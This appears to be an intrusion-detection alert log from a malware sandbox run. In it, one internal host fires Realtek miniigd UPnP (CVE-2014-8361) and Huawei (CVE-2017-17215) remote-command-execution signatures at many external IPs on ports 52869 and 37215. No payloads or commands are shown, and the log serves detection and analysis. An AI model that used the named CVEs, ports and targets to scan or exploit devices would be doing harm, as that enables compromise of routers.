ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 196.57.233.80

Timestamp:	07/20/24-23:01:02.742663
SID:	2025132
Source Port:	60010
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.140.56.8

Timestamp:	07/20/24-23:01:20.096752
SID:	2829579
Source Port:	45326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.51.246.221

Timestamp:	07/20/24-23:01:31.982801
SID:	2835222
Source Port:	48970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 64.107.44.177

Timestamp:	07/20/24-23:01:43.078618
SID:	2831300
Source Port:	43602
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 137.195.128.162

Timestamp:	07/20/24-23:01:02.093903
SID:	2025132
Source Port:	37616
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 158.165.91.44

Timestamp:	07/20/24-23:00:59.192052
SID:	2829579
Source Port:	44056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 98.89.247.140

Timestamp:	07/20/24-23:01:12.806024
SID:	2831300
Source Port:	47288
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 53.132.125.29

Timestamp:	07/20/24-23:01:45.414030
SID:	2831300
Source Port:	56814
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.231.52.21

Timestamp:	07/20/24-23:01:06.996055
SID:	2829579
Source Port:	41248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.57.251.26

Timestamp:	07/20/24-23:01:06.996056
SID:	2835222
Source Port:	59582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.60.237.131

Timestamp:	07/20/24-23:01:54.979156
SID:	2027339
Source Port:	48088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 208.122.170.150

Timestamp:	07/20/24-23:01:46.159872
SID:	2027339
Source Port:	47696
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 62.219.153.144

Timestamp:	07/20/24-23:02:05.506482
SID:	2025132
Source Port:	59958
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.137.223.0

Timestamp:	07/20/24-23:01:07.066373
SID:	2835222
Source Port:	40944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.186.61.171

Timestamp:	07/20/24-23:01:45.119426
SID:	2027339
Source Port:	53402
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 154.103.167.31

Timestamp:	07/20/24-23:01:20.600303
SID:	2831300
Source Port:	51466
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 44.152.141.175

Timestamp:	07/20/24-23:01:49.836373
SID:	2831300
Source Port:	33954
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.206.100.188

Timestamp:	07/20/24-23:01:11.630543
SID:	2835222
Source Port:	43640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.31.86.74

Timestamp:	07/20/24-23:01:34.050672
SID:	2835222
Source Port:	45042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 205.59.131.231

Timestamp:	07/20/24-23:01:43.906353
SID:	2831300
Source Port:	49662
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.53.103.29

Timestamp:	07/20/24-23:00:59.203960
SID:	2829579
Source Port:	39668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 199.27.212.72

Timestamp:	07/20/24-23:02:06.553447
SID:	2027339
Source Port:	59228
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 182.81.116.37

Timestamp:	07/20/24-23:01:45.484487
SID:	2025132
Source Port:	51746
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 52.164.165.154

Timestamp:	07/20/24-23:01:14.387649
SID:	2027339
Source Port:	33180
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.170.42.160

Timestamp:	07/20/24-23:01:43.998794
SID:	2027339
Source Port:	55406
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 180.71.140.26

Timestamp:	07/20/24-23:01:49.567841
SID:	2027339
Source Port:	46500
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 114.96.82.28

Timestamp:	07/20/24-23:01:04.049279
SID:	2829579
Source Port:	58100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 202.109.173.165

Timestamp:	07/20/24-23:01:48.369883
SID:	2025132
Source Port:	53018
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 148.6.1.136

Timestamp:	07/20/24-23:01:42.656154
SID:	2025132
Source Port:	60622
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.155.27.254

Timestamp:	07/20/24-23:00:57.221504
SID:	2829579
Source Port:	52232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 38.115.164.104

Timestamp:	07/20/24-23:01:47.693711
SID:	2831300
Source Port:	37946
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.241.118.240

Timestamp:	07/20/24-23:01:26.222978
SID:	2027339
Source Port:	38392
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.248.52.121

Timestamp:	07/20/24-23:01:41.266946
SID:	2027339
Source Port:	42504
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.255.151.238

Timestamp:	07/20/24-23:01:47.108019
SID:	2027339
Source Port:	58110
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 40.55.203.85

Timestamp:	07/20/24-23:01:03.299761
SID:	2025132
Source Port:	60246
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.88.74.46

Timestamp:	07/20/24-23:01:44.831438
SID:	2027339
Source Port:	51672
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 124.217.174.35

Timestamp:	07/20/24-23:01:43.028316
SID:	2027339
Source Port:	60440
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 90.126.99.183

Timestamp:	07/20/24-23:01:44.099658
SID:	2025132
Source Port:	49536
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.213.172.133

Timestamp:	07/20/24-23:00:59.154067
SID:	2835222
Source Port:	50026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 177.72.160.248

Timestamp:	07/20/24-23:01:07.005156
SID:	2835222
Source Port:	41344
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 152.161.99.53

Timestamp:	07/20/24-23:01:26.111043
SID:	2025132
Source Port:	37016
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 123.91.96.233

Timestamp:	07/20/24-23:01:41.148932
SID:	2025132
Source Port:	54090
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 41.48.241.197

Timestamp:	07/20/24-23:01:47.632780
SID:	2025132
Source Port:	53350
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 83.238.5.172

Timestamp:	07/20/24-23:01:53.281781
SID:	2831300
Source Port:	34146
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 54.153.180.221

Timestamp:	07/20/24-23:01:58.042671
SID:	2025132
Source Port:	55608
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 123.31.253.14

Timestamp:	07/20/24-23:01:04.592707
SID:	2025132
Source Port:	60594
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 170.93.66.190

Timestamp:	07/20/24-23:01:47.024843
SID:	2831300
Source Port:	59990
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 189.200.249.59

Timestamp:	07/20/24-23:01:44.868029
SID:	2831300
Source Port:	43854
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 165.18.43.140

Timestamp:	07/20/24-23:01:47.775082
SID:	2027339
Source Port:	55078
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.9.205.142

Timestamp:	07/20/24-23:01:14.113390
SID:	2835222
Source Port:	47014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 63.249.161.117

Timestamp:	07/20/24-23:01:34.060991
SID:	2829579
Source Port:	43312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.82.6.11

Timestamp:	07/20/24-23:01:42.762943
SID:	2027339
Source Port:	58862
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 107.79.192.172

Timestamp:	07/20/24-23:01:44.706302
SID:	2027339
Source Port:	38048
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 39.16.82.179

Timestamp:	07/20/24-23:01:24.877747
SID:	2829579
Source Port:	50868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 186.139.241.135

Timestamp:	07/20/24-23:01:44.306318
SID:	2025132
Source Port:	39932
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.46.15.204

Timestamp:	07/20/24-23:01:47.943232
SID:	2027339
Source Port:	50526
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 112.202.108.197

Timestamp:	07/20/24-23:01:31.326982
SID:	2831300
Source Port:	44320
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 132.77.166.224

Timestamp:	07/20/24-23:01:52.972472
SID:	2831300
Source Port:	37332
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.250.44.72

Timestamp:	07/20/24-23:01:42.474339
SID:	2027339
Source Port:	51252
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 92.55.62.242

Timestamp:	07/20/24-23:01:47.700893
SID:	2027339
Source Port:	38084
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 142.105.178.104

Timestamp:	07/20/24-23:01:42.374543
SID:	2027339
Source Port:	53570
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.151.178.3

Timestamp:	07/20/24-23:01:45.414030
SID:	2027339
Source Port:	55036
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.206.146.120

Timestamp:	07/20/24-23:01:43.813001
SID:	2027339
Source Port:	60190
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 80.223.189.233

Timestamp:	07/20/24-23:02:09.148759
SID:	2027339
Source Port:	44778
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 168.91.139.254

Timestamp:	07/20/24-23:01:31.333805
SID:	2027339
Source Port:	36734
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 17.37.38.42

Timestamp:	07/20/24-23:01:42.786028
SID:	2831300
Source Port:	38260
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.151.67.249

Timestamp:	07/20/24-23:01:31.978141
SID:	2835222
Source Port:	57454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 137.75.123.123

Timestamp:	07/20/24-23:01:42.213822
SID:	2025132
Source Port:	60830
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 150.125.163.90

Timestamp:	07/20/24-23:01:41.374418
SID:	2027339
Source Port:	38966
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 204.114.85.200

Timestamp:	07/20/24-23:01:42.677814
SID:	2027339
Source Port:	43900
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.234.100.63

Timestamp:	07/20/24-23:01:01.886452
SID:	2027339
Source Port:	51918
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 91.10.179.128

Timestamp:	07/20/24-23:01:08.672944
SID:	2831300
Source Port:	55890
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.90.77.175

Timestamp:	07/20/24-23:01:50.848727
SID:	2027339
Source Port:	53540
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 207.93.222.13

Timestamp:	07/20/24-23:00:57.221550
SID:	2835222
Source Port:	41818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.34.49.149

Timestamp:	07/20/24-23:01:02.316096
SID:	2027339
Source Port:	49258
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 186.68.76.128

Timestamp:	07/20/24-23:01:42.010169
SID:	2831300
Source Port:	36492
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 40.23.131.130

Timestamp:	07/20/24-23:01:42.399678
SID:	2027339
Source Port:	60762
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 91.23.23.187

Timestamp:	07/20/24-23:01:41.412156
SID:	2025132
Source Port:	48118
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 89.37.35.33

Timestamp:	07/20/24-23:01:40.291616
SID:	2835222
Source Port:	49758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 91.130.242.221

Timestamp:	07/20/24-23:01:31.327808
SID:	2831300
Source Port:	44482
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 101.52.13.24

Timestamp:	07/20/24-23:01:43.091220
SID:	2027339
Source Port:	58794
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 181.147.220.98

Timestamp:	07/20/24-23:01:41.286262
SID:	2025132
Source Port:	32930
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 221.200.167.164

Timestamp:	07/20/24-23:00:57.220954
SID:	2835222
Source Port:	34064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.244.160.188

Timestamp:	07/20/24-23:01:43.300793
SID:	2027339
Source Port:	36788
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 65.112.198.241

Timestamp:	07/20/24-23:01:21.928521
SID:	2829579
Source Port:	46112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 78.5.59.56

Timestamp:	07/20/24-23:01:41.407067
SID:	2025132
Source Port:	56622
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 179.166.208.19

Timestamp:	07/20/24-23:01:20.144672
SID:	2835222
Source Port:	48740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.179.229.220

Timestamp:	07/20/24-23:01:49.750742
SID:	2027339
Source Port:	42832
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 83.250.249.17

Timestamp:	07/20/24-23:02:05.476791
SID:	2027339
Source Port:	49842
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 151.149.108.97

Timestamp:	07/20/24-23:01:43.118475
SID:	2025132
Source Port:	55698
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 46.119.183.52

Timestamp:	07/20/24-23:02:12.248256
SID:	2027339
Source Port:	58000
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 61.122.127.136

Timestamp:	07/20/24-23:01:06.996056
SID:	2829579
Source Port:	59354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.74.2.198

Timestamp:	07/20/24-23:01:11.634077
SID:	2829579
Source Port:	32922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.15.32.116

Timestamp:	07/20/24-23:02:05.506482
SID:	2027339
Source Port:	47272
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 38.132.172.199

Timestamp:	07/20/24-23:02:20.036130
SID:	2027339
Source Port:	43458
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.160.207.169

Timestamp:	07/20/24-23:00:59.185032
SID:	2829579
Source Port:	34626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 192.59.76.250

Timestamp:	07/20/24-23:01:42.745085
SID:	2831300
Source Port:	33088
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 133.46.67.74

Timestamp:	07/20/24-23:01:08.677189
SID:	2831300
Source Port:	37400
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 40.50.75.236

Timestamp:	07/20/24-23:01:42.619336
SID:	2027339
Source Port:	37076
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

